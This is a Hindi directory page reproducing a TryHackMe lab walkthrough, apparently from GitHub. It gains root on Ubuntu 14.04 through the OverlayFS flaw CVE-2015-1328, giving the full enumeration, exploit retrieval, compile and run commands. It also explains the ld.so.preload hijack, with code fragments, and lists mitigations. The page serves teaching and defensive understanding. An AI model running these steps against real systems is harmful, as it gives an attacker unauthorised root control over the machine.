Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2015-1328 — Ubuntu 14.04 पर निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता से रूट तक विशेषाधिकार बढ़ाने के लिए CVE-2015-1328 (OverlayFS) का शोषण करने हेतु चरण-दर-चरण वॉकथ्रू। इसमें एन्यूमरेशन, एक्सप्लॉइट संकलन और निष्पादन शामिल है। | Kitploit
उपकरण/GitHubGitHub/fernandocassiodev/cve-2015-1328
विशेषाधिकार वृद्धिशोषणCTFलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

Ubuntu 14.04 पर निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता से रूट तक विशेषाधिकार बढ़ाने के लिए CVE-2015-1328 (OverlayFS) का शोषण करने हेतु चरण-दर-चरण वॉकथ्रू। इसमें एन्यूमरेशन, एक्सप्लॉइट संकलन और निष्पादन शामिल है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
21 महीना पहलेअभी तक समीक्षित नहीं

CVE-2015-1328

TryHackMe Walkthrough – Linux Kernel Privilege Escalation (CVE-2015-1328)

उद्देश्य

इस वॉकथ्रू का उद्देश्य एक कम-विशेषाधिकार वाले उपयोगकर्ता (karen) से root तक विशेषाधिकार एस्केलेशन करना था, एक कमजोर Linux कर्नेल का शोषण करके।


चरण 1 – प्रारंभिक एन्यूमरेशन

SSH के माध्यम से लक्ष्य मशीन से कनेक्ट करने के बाद:

root@kitploit:~
ssh karen@<target-ip>

मैंने Linux कर्नेल संस्करण की पहचान की:

root@kitploit:~
uname -r

आउटपुट:

root@kitploit:~
3.13.0-24-generic

मशीन Ubuntu 14.04 चला रही थी, जिसमें कर्नेल 3.13.0-24-generic था।


चरण 2 – कर्नेल कमजोरियों की खोज करें

चूंकि Linux विशेषाधिकार एस्केलेशन अक्सर कमजोर कर्नेल पर निर्भर करता है, मैंने SearchSploit का उपयोग करके Exploit-DB खोजा:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

परिणाम:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

यह एक्सप्लॉइट CVE-2015-1328 को लक्षित करता है, जो पैच किए गए संस्करणों से पहले के Ubuntu कर्नेल को प्रभावित करता है।


चरण 3 – कमजोरी को समझें

किसी भी एक्सप्लॉइट को निष्पादित करने से पहले, यह समझना महत्वपूर्ण है कि यह क्या करता है।

यह एक्सप्लॉइट OverlayFS में एक दोष का फायदा उठाता है, जो Linux यूनियन फाइलसिस्टम है।

यह कमजोरी इसलिए मौजूद है क्योंकि OverlayFS उपयोगकर्ता नेमस्पेस (CLONE_NEWUSER) के अंदर माउंट होने पर फ़ाइल अनुमतियों को गलत तरीके से संभालता है।

एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता OverlayFS में हेरफेर करके ऐसी फ़ाइलें बना या संशोधित कर सकता है जो केवल root द्वारा लिखने योग्य होनी चाहिए।

एक्सप्लॉइट अंततः इसमें लिखता है:

root@kitploit:~
/etc/ld.so.preload

यह फ़ाइल Linux डायनामिक लोडर को बताती है कि प्रत्येक डायनामिक रूप से लिंक किए गए निष्पादन योग्य से पहले एक साझा लाइब्रेरी लोड करे।

सिस्टम को एक दुर्भावनापूर्ण साझा लाइब्रेरी लोड करने के लिए मजबूर करके, एक्सप्लॉइट root के रूप में कोड निष्पादन प्राप्त करता है।


चरण 4 – एक्सप्लॉइट प्राप्त करें

SearchSploit का उपयोग करके:

root@kitploit:~
searchsploit -m 37292

इसने एक्सप्लॉइट को स्थानीय रूप से कॉपी किया:

root@kitploit:~
37292.c

उसके बाद एक्सप्लॉइट को पीड़ित मशीन पर स्थानांतरित किया गया।

इस वॉकथ्रू में, इसे इस रूप में सहेजा गया था:

root@kitploit:~
/tmp/ofs.c

चरण 5 – एक्सप्लॉइट को कंपाइल करें

एक्सप्लॉइट वाली निर्देशिका पर जाएँ:

root@kitploit:~
cd /tmp

GCC का उपयोग करके इसे कंपाइल करें:

root@kitploit:~
gcc ofs.c -o ofs

यदि कंपाइलेशन सफल होता है, तो GCC कोई आउटपुट नहीं देता है।

सत्यापित करें कि निष्पादन योग्य मौजूद है:

root@kitploit:~
ls -l

अपेक्षित:

root@kitploit:~
-rwxr-xr-x ... ofs

चरण 6 – एक्सप्लॉइट निष्पादित करें

निष्पादन योग्य चलाएँ:

root@kitploit:~
./ofs

एक्सप्लॉइट इसी तरह के संदेश प्रिंट करता है:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

अंत में, यह एक root शेल उत्पन्न करता है:

root@kitploit:~
#

विशेषाधिकारों को सत्यापित करें:

root@kitploit:~
id

आउटपुट:

root@kitploit:~
uid=0(root) gid=0(root)

चरण 7 – फ़्लैग प्राप्त करें

root विशेषाधिकार प्राप्त होने के साथ:

root@kitploit:~
cat /home/matt/flag1.txt

फ़ाइल अब सफलतापूर्वक पढ़ी जा सकती थी।


एक्सप्लॉइट कैसे काम करता है

एक्सप्लॉइट आंतरिक रूप से कई क्रियाएँ करता है।

1. यूज़र नेमस्पेस बनाता है

root@kitploit:~
unshare(CLONE_NEWUSER);

Linux यूज़र नेमस्पेस एक गैर-विशेषाधिकार प्राप्त प्रक्रिया को होस्ट पर root हुए बिना, नेमस्पेस के अंदर root के रूप में प्रकट होने की अनुमति देते हैं।

यह क्षमता हमले के लिए आवश्यक है।


2. माउंट नेमस्पेस बनाता है

root@kitploit:~
clone(... CLONE_NEWNS ...)

एक अलग माउंट नेमस्पेस फाइलसिस्टम परिवर्तनों को ऑपरेटिंग सिस्टम के बाकी हिस्सों से अलग करता है।

यह एक्सप्लॉइट को वैश्विक फाइलसिस्टम को प्रभावित किए बिना OverlayFS माउंट करने की अनुमति देता है।


3. OverlayFS माउंट करता है

एक्सप्लॉइट अस्थायी निर्देशिकाएँ बनाता है:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

फिर यह OverlayFS माउंट करता है:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

कर्नेल कमजोरी के कारण, OverlayFS गलत तरीके से उन कार्यों की अनुमति देता है जिनके लिए root विशेषाधिकारों की आवश्यकता होनी चाहिए।


4. /etc/ld.so.preload बनाता है

एक्सप्लॉइट OverlayFS माउंट के अंदर एक लिखने योग्य फ़ाइल का नाम बदलकर इसमें रखता है:

root@kitploit:~
ld.so.preload

/etc पर OverlayFS को पुनः माउंट करने के बाद, यह फ़ाइल बन जाती है:

root@kitploit:~
/etc/ld.so.preload

सामान्यतः, केवल root को ही यह फ़ाइल बनाने में सक्षम होना चाहिए।


5. एक दुर्भावनापूर्ण साझा लाइब्रेरी बनाता है

एक्सप्लॉइट एक C सोर्स फ़ाइल लिखता है:

root@kitploit:~
/tmp/ofs-lib.c

फिर इसे कंपाइल करता है:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

परिणामी साझा लाइब्रेरी getuid() फ़ंक्शन को ओवरराइड करती है।


6. डायनामिक लिंकर को हाईजैक करता है

एक्सप्लॉइट लिखता है:

root@kitploit:~
/tmp/ofs-lib.so

इसमें:

root@kitploit:~
/etc/ld.so.preload

अब प्रत्येक डायनामिक रूप से लिंक किया गया निष्पादन योग्य किसी भी सिस्टम लाइब्रेरी से पहले इस दुर्भावनापूर्ण लाइब्रेरी को लोड करता है।


7. /bin/su निष्पादित करता है

अंत में:

root@kitploit:~
execl("/bin/su", "su", NULL);

जब su शुरू होता है, तो मूल के बजाय दुर्भावनापूर्ण getuid() फ़ंक्शन निष्पादित होता है।

लाइब्रेरी:

  • /etc/ld.so.preload को हटाती है
  • दुर्भावनापूर्ण साझा लाइब्रेरी को हटाती है
  • कॉल करती है:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • लॉन्च करती है:
root@kitploit:~
/bin/sh

परिणाम एक इंटरैक्टिव root शेल है।


यह क्यों काम करता है

यह कमजोरी यूज़र नेमस्पेस के अंदर उपयोग किए जाने पर OverlayFS में गलत अनुमति प्रबंधन के कारण होती है।

एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता OverlayFS में हेरफेर करके ऐसी विशेषाधिकार प्राप्त फ़ाइलें बना सकता है जैसे:

root@kitploit:~
/etc/ld.so.preload

चूंकि डायनामिक लोडर इस फ़ाइल पर भरोसा करता है, इसलिए root के रूप में मनमाना कोड निष्पादित किया जाता है।


माइटिगेशन

यह कमजोरी Ubuntu द्वारा अद्यतन कर्नेल रिलीज़ में पैच की गई थी।

माइटिगेशन रणनीतियों में शामिल हैं:

  • Linux कर्नेल को पैच किए गए संस्करण में अद्यतन करना।
  • आवश्यक न होने पर गैर-विशेषाधिकार प्राप्त यूज़र नेमस्पेस अक्षम करना।
  • OverlayFS उपयोग को प्रतिबंधित करना।
  • सुरक्षा अद्यतन नियमित रूप से लागू करना।
  • अनधिकृत संशोधनों की निगरानी करना:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

मुख्य निष्कर्ष

  • Linux विशेषाधिकार एस्केलेशन के दौरान हमेशा कर्नेल संस्करण की एन्यूमरेट करें।
  • शोषण का प्रयास करने से पहले सत्यापित करें कि कर्नेल संस्करण कमजोर है या नहीं।
  • एक्सप्लॉइट कोड को निष्पादित करने से पहले उसे पढ़ें और समझें।
  • कर्नेल एक्सप्लॉइट सीधे root विशेषाधिकारों तक ले जा सकते हैं लेकिन लक्ष्य सिस्टम को क्रैश भी कर सकते हैं।
  • वास्तविक दुनिया के पेनिट्रेशन परीक्षणों में, कर्नेल शोषण केवल तभी किया जाना चाहिए जब सिस्टम स्थिरता पर संभावित प्रभाव के कारण स्पष्ट रूप से अधिकृत किया गया हो।

उपयोग किए गए कमांड

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
टूल डाउनलोड करें